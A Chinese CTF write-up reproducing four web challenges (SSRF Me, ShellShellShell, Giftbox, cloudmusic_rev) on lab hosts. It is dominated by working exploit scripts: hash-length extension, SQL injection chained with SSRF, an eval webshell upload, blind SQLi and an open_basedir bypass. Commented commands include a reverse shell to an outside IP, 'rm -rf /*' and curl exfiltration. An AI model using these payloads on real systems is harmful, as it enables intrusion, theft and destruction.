这把加入了 W&M 战队和各位师傅一起玩耍,玩得还不错~在师傅们的带领下 Web 两个一血一个二血~

最终排在第七:

W&M长期招人,欢迎戳这儿了解详情 https://mp.weixin.qq.com/s/d9ZG0Q9-CqXhns6clmiO4Q

接下来是 Web 部分的复现和 WriteUp,9calc 那道题比赛时没做出来,赛后看了 https://github.com/zsxsoft/my-ctf-challenges/blob/master/calcalcalc-family/readme.md WriteUp 才做出来,觉得蛮有意思,以后单独开一篇来分享吧(咕咕咕)。

0x01、SSRF Me

知识点:

  • 代码审计
  • Hash 长度扩展攻击
  • SSRF

复现靶机:http://web68.buuoj.cn/

步骤:

1、先打开靶机看看,一打开就是源码。

右键查看源代码即可查看到换行之后的代码。

2、审计代码,可以看到有三个路由。分别看看代码,了解一下他们各自的功能。

  • /:首页,获取源码
  • /geneSign:获取 param 参数,结合预设的 action scan 来调用 getSign 函数来生成签名。
  • /Delta:从 cookie 里获取 action 和 sign,再获取 param 参数,结合 ip 构造一个 Task 类的对象,再以 json 返回其 Exec 方法的执行结果。

3、再来看到 getSign 函数。

是将 secert_key 和 param 和 action 拼在一起 md5 了。

4、然后来看到 waf 函数。

找 gopher 和 file 开头的,和调用处的判断结合起来看,是过滤掉了。

5、再来看到 Task 类的 Exec 方法。

先看 action 里有没有 scan,有的话就调用 scan 方法来读取内容并写到沙盒下的 result.txt 文件。

再就是看 action 里有没有 read,有的话就读出里面的内容,返回。

6、审计完代码,需求就很明确了:

  • 读取 flag.txt 到 result.txt。
  • 展示 result.txt 的内容。

7、上面的签名生成只生成了 action 为 scan 的签名。但注意到

这里算 md5 时 param,action 可控,并且 action 在最后,这样我们就可以利用哈希长度扩展攻击,在 action 后面拼接上我们想要的东西,并且预测出拼接之后的 md5。这里我们就可以在 scan 后面拼上 read 了。

8、而我们看到 scan 那个函数那,用的是 urlopen,这里有两种办法可以读取到本地文件。

用这两种方式之一书写 param 参数即可。

9、所以最终 exp 如下:

import hashpumpy
import requests
import urllib.parse

url = 'flag.txt'
# url = 'local-file:/etc/passwd'
r = requests.get('http://web68.buuoj.cn/geneSign', params={'param': url})
sign = r.text
hash_sign = hashpumpy.hashpump(sign, url + 'scan', 'read', 16)

r = requests.get('http://web68.buuoj.cn/De1ta', params={'param': url}, cookies={
    'sign': hash_sign[0],
    'action': urllib.parse.quote(hash_sign[1][len(url):])
})

print(r.text)

运行。

10、Flag 到手~

0x02、ShellShellShell

知识点:

  • 原题搜索(伪)
  • 反序列化
  • SSRF
  • 代码审计与限制绕过

复现靶机:http://web69.buuoj.cn

步骤:

1、先打开靶机看看,可以看到很眼熟,网上一搜即可直接找到原题。https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/easy-php-540

这题在 GUETCTF 也碰见过,简单来说就是注入拿到管理员的密码 MD5,再利用 SoapClient SSRF 登录管理员账户。具体的 WriteUp 参考上面那个链接里的 WriteUp,这里我直接把之前的 exp 改改拿来用了。

2、先用这个 WriteUp 里的 验证码生成脚本生成一下验证码表。

import hashlib
from itertools import product

c = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|'
captchas = [''.join(i) for i in product(c, repeat=3)]

print '[+] Genering {} captchas...'.format(len(captchas))
with open('captchas.txt', 'w') as f:
    for k in captchas:
        f.write(hashlib.md5(k).hexdigest()+' --> '+k+'\n')

3、再来跑管理员密码,上 exp。

import re
import string
import random
import time

import requests
import subprocess

_target = 'http://web69.buuoj.cn/index.php?action='

def get_creds():
    username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
    password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
    return username, password

def solve_code(html):
    code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1)
    solution = subprocess.check_output(['grep', '^'+code, 'captchas.txt']).split()[2]
    return solution

def register(username, password):
    resp = sess.get(_target+'register')
    code = solve_code(resp.text)
    sess.post(_target+'register', data={'username':username,'password':password,'code':code})
    return True

def login(username, password):
    resp = sess.get(_target+'login')
    code = solve_code(resp.text)
    sess.post(_target+'login', data={'username':username,'password':password,'code':code})
    return True

def publish(sig, mood):
    return sess.post(_target+'publish', data={'signature':sig,'mood':mood})

sess = requests.Session()
username, password = get_creds()
print '[+] register({}, {})'.format(username, password)
register(username, password)
print '[+] login({}, {})'.format(username, password)
login(username, password)
print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID']

for i in range(1,33): # we know password is 32 chars (md5)
    mood = '(select concat(`O:4:\"Mood\":3:{{s:4:\"mood\";i:`,ord(substr(password,{},1)),`;s:2:\"ip\";s:14:\"80.212.199.161\";s:4:\"date\";i:1520664478;}}`) from ctf_users where is_admin=1 limit 1)'.format(i)
    payload = 'a`, {}); -- -'.format(mood)
    resp = publish(payload, '0')

    print(resp.text)

resp = sess.get(_target+'index')
moods = re.findall(r'img/([0-9]+)\.gif', resp.text)[::-1] # last publish will be read first in the html
admin_hash = ''.join(map(lambda k: chr(int(k)), moods))

print '[+] admin hash => ' + admin_hash

跑一下,得到管理员密码的 MD5。

4、去查一下这个 MD5,得到明文为 jaivypassword。

5、然后用上第二个 exp,来传个 shell 上去,从 /user.php~ 的 publish 函数看出这里和原题有所不同,直接上传到 upload 了。

exp:

import re
import sys
import string
import random
import requests
import subprocess
from itertools import product

_target = 'http://web69.buuoj.cn/'
_action = _target + 'index.php?action='

def get_creds():
    username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
    password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
    return username, password

def solve_code(html):
    code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1)
    solution = subprocess.check_output(['grep', '^'+code, 'captchas.txt']).split()[2]
    return solution

def register(username, password):
    resp = sess.get(_action+'register')
    code = solve_code(resp.text)
    sess.post(_action+'register', data={'username':username,'password':password,'code':code})
    return True

def login(username, password):
    resp = sess.get(_action+'login')
    code = solve_code(resp.text)
    sess.post(_action+'login', data={'username':username,'password':password,'code':code})
    return True

def publish(sig, mood):
    return sess.post(_action+'publish', data={'signature':sig,'mood':mood})#, proxies={'http':'127.0.0.1:8080'})

def get_prc_now():
    # date_default_timezone_set("PRC") is not important
    return subprocess.check_output(['php', '-r', 'date_default_timezone_set("PRC"); echo time();'])

def get_admin_session():
    sess = requests.Session()
    resp = sess.get(_action+'login')
    code = solve_code(resp.text)
    return sess.cookies.get_dict()['PHPSESSID'], code

def brute_filename(prefix, ts, sessid):
    ds = [''.join(i) for i in product(string.digits, repeat=3)]
    ds += [''.join(i) for i in product(string.digits, repeat=2)]
    # find uploaded file in max 1100 requests
    for d in ds:
        f = prefix + ts + d + '.jpg'
        resp = requests.get(_target+'adminpic/'+f, cookies={'PHPSESSID':sessid})
        if resp.status_code == 200:
            return f
    return False

print '[+] creating user session to trigger ssrf'
sess = requests.Session()

username, password = get_creds()

print '[+] register({}, {})'.format(username, password)
register(username, password)

print '[+] login({}, {})'.format(username, password)
login(username, password)

print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID'] + ' '

print '[+] getting fresh session to be authenticated as admin'
phpsessid, code = get_admin_session()
print code

ssrf = 'http://127.0.0.1/\x0d\x0aContent-Length:0\x0d\x0a\x0d\x0a\x0d\x0aPOST /index.php?action=login HTTP/1.1\x0d\x0aHost: 127.0.0.1\x0d\x0aCookie: PHPSESSID={}\x0d\x0aContent-Type: application/x-www-form-urlencoded\x0d\x0aContent-Length: 46\x0d\x0a\x0d\x0ausername=admin&password=jaivypassword&code={}\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a'.format(phpsessid, code)
mood = 'O:10:\"SoapClient\":4:{{s:3:\"uri\";s:{}:\"{}\";s:8:\"location\";s:39:\"http://127.0.0.1/index.php?action=login\";s:15:\"_stream_context\";i:0;s:13:\"_soap_version\";i:1;}}'.format(len(ssrf), ssrf)
mood = '0x'+''.join(map(lambda k: hex(ord(k))[2:].rjust(2, '0'), mood))

payload = 'a`, {}); -- -'.format(mood)

print '[+] final sqli/ssrf payload: ' + payload

print '[+] injecting payload through sqli'
resp = publish(payload, '0')

print '[+] triggering object deserialization -> ssrf'
sess.get(_action+'index')#, proxies={'http':'127.0.0.1:8080'})

print '[+] admin session => ' + phpsessid

# switching to admin session
sess = requests.Session()
sess.cookies = requests.utils.cookiejar_from_dict({'PHPSESSID': phpsessid})

print '[+] uploading stager'
shell = {'pic': ('glzjin.php', '<?php eval($_POST[glzjin]);', 'image/jpeg')}
resp = sess.post(_action+'publish', files=shell)#, proxies={'http':'127.0.0.1:8080'})
print(resp.text)
prc_now = get_prc_now()[:-1]  # get epoch immediately

if 'upload success' not in resp.text:
    print '[-] failed to upload shell, check admin session manually'
    sys.exit(0)

6、运行,然后可以看到我们传了个马到 /upload/glzjin.php 了。

7、连接上,提示里说 flag 在内网,那就扫内网。

先打开 /proc/net/fib_trie,看看网络相关信息。可以看到有个 172.16.54.0/24 的 IP段,这台机器的 IP 为 172.16.54.3,那么就扫描网段内其他机器试试。

用蚁剑的端口扫描工具扫描试试。

可以看到扫描到 172.16.54.2 开放了 80 端口。

8、用虚拟终端执行 wget 访问一下这个地址,并保存到 glzjin.html 看看。

wget http://172.16.54.2 -O glzjin.html

9、打开 /upload/glzjin.html,发现又是原题。https://xi4or0uji.github.io/2018/11/06/2018%E4%B8%8A%E6%B5%B7%E5%B8%82%E5%A4%A7%E5%AD%A6%E7%94%9F%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9Bweb%E9%A2%98%E8%A7%A3/ 过了一堆限制之后,会包含上 hello 里所带的文件名。

10、不多废话,直接按照 WriteUp 里的,第一层数组来绕过,第二层随机文件名可以用路径穿越绕过。在 Postman 里构造请求如下。

11、然后因为靶机在内网,所以我们直接将其保存为 PHP 文件丢到第一个我们能访问到的靶机上执行。

这里注意请求体那里的文件,我们需要手动将上传文件内容补上,这里就是我们想要执行的内容,比如这里我就是在 /etc 下搜索带有 flag 的文件名然后把他们的内容列出来。

<?php

$curl = curl_init();

curl_setopt_array($curl, array(
  CURLOPT_URL => "http://172.16.54.2",
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => "",
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 30,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => "POST",
  CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"glzjin2.php\"\r\nContent-Type: false\r\n\r\n@<?php echo `find /etc -name *flag* -exec cat {} +`;\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\nglzjin2.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n222\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[0]\"\r\n\r\n/../glzjin2.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
  CURLOPT_HTTPHEADER => array(
    "Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22",
    "cache-control: no-cache",
    "content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
  ),
));

$response = curl_exec($curl);
$err = curl_error($curl);

curl_close($curl);

if ($err) {
  echo "cURL Error #:" . $err;
} else {
  echo $response;
}

一访问,flag 就被找出来了~

12、Flag 到手~

0x03、Giftbox

据说是 CISCN 西北赛区的题。

知识点:

  • SQL 布尔盲注
  • PHP 语言特性

复现靶机:http://web72.buuoj.cn/

步骤:

1、打开靶机,可以看到是一个网页上的 Shell。

2、然后来看看有什么命令可以用。

下面 usage.md 里有提到 login 等几个命令,试了下其他几个都要登录。

3、那么就先来用 login 命令登录看看。测试了一下在用户名那里有注入点,可以根据回显进行布尔盲注。

4、写 exp 之前还需要来看看是怎么和服务器通讯的。抓包看看。

有个 totp 参数,结合内容来看似乎是根据时间变化的令牌,需要看下这里怎么生成的。

5、在 /js/main.js 里可以看到这个提示,还有这个令牌怎么生成的。

我们也可以把令牌拿到了。

6、综上,所用 exp 如下。表名列名其实是直接猜出来的,一猜就对了。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import time

import requests

import pyotp as pyotp

totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)

def main():
    get_all_databases()


def http_get(payload):

    time.sleep(0.5)

    r = requests.post('http://web72.buuoj.cn/shell.php', params={'a': 'login admin\'/**/and/**/(' + payload + ')/**/and/**/\'1\'=\'1 admin', 'totp': totp.now()},
                      data={'dir': '/', 'pos': '/', 'filename': 'usage.md'})

    print('login admin\'/**/and/**/(' + payload + ')/**/and/**/\'1\'=\'1 admin')
    print(r.text)
    if 'password' in r.text:
        return True
    else:
        return False


# 获取数据库
def get_all_databases():
    # db_nums_payload = "select/**/count(*)/**/from/**/users"
    # db_numbers = half(db_nums_payload)
    # print("长度为:%d" % db_numbers)

    db_payload = "select/**/concat(password)/**/from/**/users"
    db_name = ""
    for y in range(1, 64):
        db_name_payload = "ascii(substr((" + db_payload + "),%d,1))" % (
            y)
        db_name += chr(half(db_name_payload))

    print("值:" + db_name)


# 二分法函数
def half(payload):
    low = 0
    high = 126
    # print(standard_html)
    while low <= high:
        mid = (low + high) / 2
        mid_num_payload = "%s/**/>/**/%d" % (payload, mid)
        # print(mid_num_payload)
        # print(mid_html)
        if http_get(mid_num_payload):
            low = mid + 1
        else:
            high = mid - 1
    mid_num = int((low + high + 1) / 2)
    return mid_num


if __name__ == '__main__':
    main()

7、跑一下,等一会儿,管理员密码就出来了。

8、用这个密码登录,成功。

9、然后来试一下 targeting,launch,destruct 那几个命令。

有点意思,似乎是一行行执行命令。

然后 targeting 那里似乎有些限制,再来看看。

前面的 code 限制两位。

后面的 position 限制十二位。

code 和 position 也有过滤。

10、总结一下每个命令。

  • targeting code position =>储存一条 $code = “position”;
  • launch => 将上面 targeting 起来的 code 按照字典序跑一遍。
  • destuct => 清空,恢复初始状态

11、那么就来体验一下 PHP 的神奇吧。

双引号里,可以直接这样调用变量。

也可以这样,外面包个 {},里面的东西会被 执行 后拿返回值。变量后面加个 (),就会尝试调用这个变量里存的名字所指向的函数了。

12、然后我们来看看刚才那个 phpinfo 所返回的内容,由于 content-type 为 json 所以不好看,我们可以存到本地的一个 html 文件然后打开看。

这里看到有 open_basedir,得想办法绕过。可以利用 https://xz.aliyun.com/t/4720 的方法绕过。

绕过的 payload 如下。

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

13、然后写个 exp 来把这个 payload 打过去。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import time

import requests

import pyotp as pyotp

totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)

session = requests.session()


def login():
    time.sleep(0.5)

    r = session.get('http://web72.buuoj.cn/shell.php',
                    params={'a': 'login admin hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}', 'totp': totp.now()})

    return r.json()


def targeting(code, position):
    time.sleep(0.5)

    r = session.get('http://web72.buuoj.cn/shell.php', params={'a': 'targeting ' + code + ' ' + position, 'totp': totp.now()})

    return r.json()


def launch():
    time.sleep(0.5)

    r = session.get('http://web72.buuoj.cn/shell.php', params={'a': 'launch', 'totp': totp.now()})

    return r.text


def destuct():
    time.sleep(0.5)

    r = session.get('http://web72.buuoj.cn/shell.php', params={'a': 'destruct', 'totp': totp.now()})

    return r.json()


def main():
    login()
    destuct()
    targeting("a", "chdir")
    targeting("b", "img")
    targeting("c", "{$a($b)}")

    targeting("d", "ini_set")
    targeting("e", "open_basedir")
    targeting("f", "..")
    targeting("g", "{$d($e,$f)}")

    targeting("h", "{$a($f)}")
    targeting("i", "{$a($f)}")

    targeting("j", "Ly8v")
    targeting("k", "base64_")
    targeting("l", "decode")
    targeting("m", "$k$l")
    targeting("n", "{$m($j)}")
    targeting("o", "{$d($e,$n)}")

    targeting("p", "flag")
    targeting("q", "file_get")
    targeting("r", "_contents")
    targeting("s", "$q$r")

    targeting("t", "{$s($p)}")

    print(launch())


if __name__ == '__main__':
    main()

运行,就可以在结果里看到 flag 了。

14、Flag 到手~

0x04、cloudmusic_rev

国赛总决赛 Day1 Web1

知识点:

  • 原题搜索(伪)
  • 代码审计
  • so 分析 + off by null(别问我- -不会 PWN)
  • 恶意 so 构造

复现靶机:http://web71.buuoj.cn/

步骤:

1、打开靶机,是这样一个页面。

2、太熟悉了- -国赛决赛修了这题修了半天都没修好。直接原题的 exp 走一波 https://github.com/impakho/ciscn2019_final_web1

#!/usr/bin/python2
#coding:utf-8

from sys import *
from base64 import *
from Crypto.PublicKey import RSA
import requests
import string
import time
import hashlib
import random
import json
from datetime import datetime

timeout = 30.0
retry_count = 5
logging = 1

site_url = ''
s = requests.session()
time_zone_offset = 60 * 60 * 8
# command = "/usr/bin/tac /fl*g*"
# command = "/bin/bash -i >& /dev/tcp/172.93.221.66/8080 0>&1"
# command = "rm -rf /*"
# command = "/bin/echo 'test' >> /var/www/html/glzjin.txt"
# command = "curl http://xss.zhaoj.in/?b=`/usr/bin/tac /fl*g*`"
command = "/usr/bin/tac /fl*g* >> /var/www/html/uploads/music/glzjin.txt"
# command = "/bin/echo '<?php eval($_POST['glzjin']);' > /var/www/html/uploads/music/glzjin.php"
# command = "ls -l /var/www/html/ >> /var/www/html/uploads/music/glzjin.txt"

preset_key = b64decode('LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUNkd0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQW1Fd2dnSmRBZ0VBQW9HQkFPTWp4eXVIcWRuSmFyUDAKSHl1eFVVRHkvY1BGaWMzYjM5WUQrVzY5R2VSRkpMRDUraFhaM3lYMTFBQ2pMSHpESFpIbGgrajRQZncxdEhMMApwY3FPZmJ0TTF4am5sV2FKd3lZQzRpWlBSRXJUTGNVd282UmhKS2diUkxHQVpLUmxmWFFMbVRwbGd0ZnJoUGhJCng0ZzM2ZEtLTVVlYjZnOHJ3blVrUnVYSVlhd2hBZ01CQUFFQ2dZRUEwUWZrQzFOV0pHOFFHM3ZXRThlakZ6cUgKL3RxVDd6Y2h6enJwR2RnOU02M09EbkIramcxckp1d01wbW1FVDJ6Z2tadkNiOHZFZjQ2TStoM2JWWVc4Zmg1Zwp4dTlXdmJFb0orUGZtV2R6SmowUlRYT05vZXVzRUgwODI3eGl6UXlIc21RbkNBQzkyUS9IQlg4WVl0eDgxN0pOCnNIUmNFMHdacVFmL0dkU0VnK0VDUVFEMGVjUlJYN3BsT0hTOHNjTjFqT3FOMEl5S2pvamljWWNQL2h3ckU2ZjIKZGR3dEpnNlJBb3E3SHlRdUFjYmZCazJwdS9UeDRsSHRycm9qRXlxQTRLdjdBa0VBN2RqUEFCakEvaHlpV1oxTQpDUm5DTTRudWdDUEE1SXRxZktzb3UvbE51cUdYZXFVYW5XNjBTcmJDVWJrM2g2NnkwdXV2T0xzendEWllONnNNClFEWFJrd0pBUlB3N1BtOFJ6TkF5ZUxCOHBDWUFaY1lNY21pb0RhWFZZOWpqbi9BcS9Ddmoxa1dmNUtGZi9rOWEKU1RVdEplL0VhSG5tTTM4V2VVaE5zK29MbTFSS2t3SkFNcCtyNTJ4ZFgzaSt3VzR1YWQxMnJUdVZiT2F2UHJYQgowNGttb1dPOXZKUjZSbHR2MzhSWlVYRzJ5R2d3dm90YmVuTTVsMHlaQmpkSzdZWlZsREVnU3dKQkFMb29yYmZnCkJzMW5BbGU3WnhXK0JkRXlLVG9ZUWdWVU1MRytWeDFITW9rU0dZNlh6blNFYzdpK25weFBoeGd6Q1VWdHpxNU4KR3E4Q3ppN2FJUFVuY0lnPQotLS0tLUVORCBQUklWQVRFIEtFWS0tLS0tCg==')
preset_music = b64decode('SUQzBAAAAAABBFRSQ0sAAAADAAADMQBUSVQyAAAAEgAAA2JiYmJiYmJiYmJiYmJiYmIAVEFMQgAAABIAAANjY2NjY2NjY2NjY2NjY2NjAFRQRTEAAAASAAADYWFhYWFhYWFhYWFhYWFhYQA=')
preset_firmare = b64decode('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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA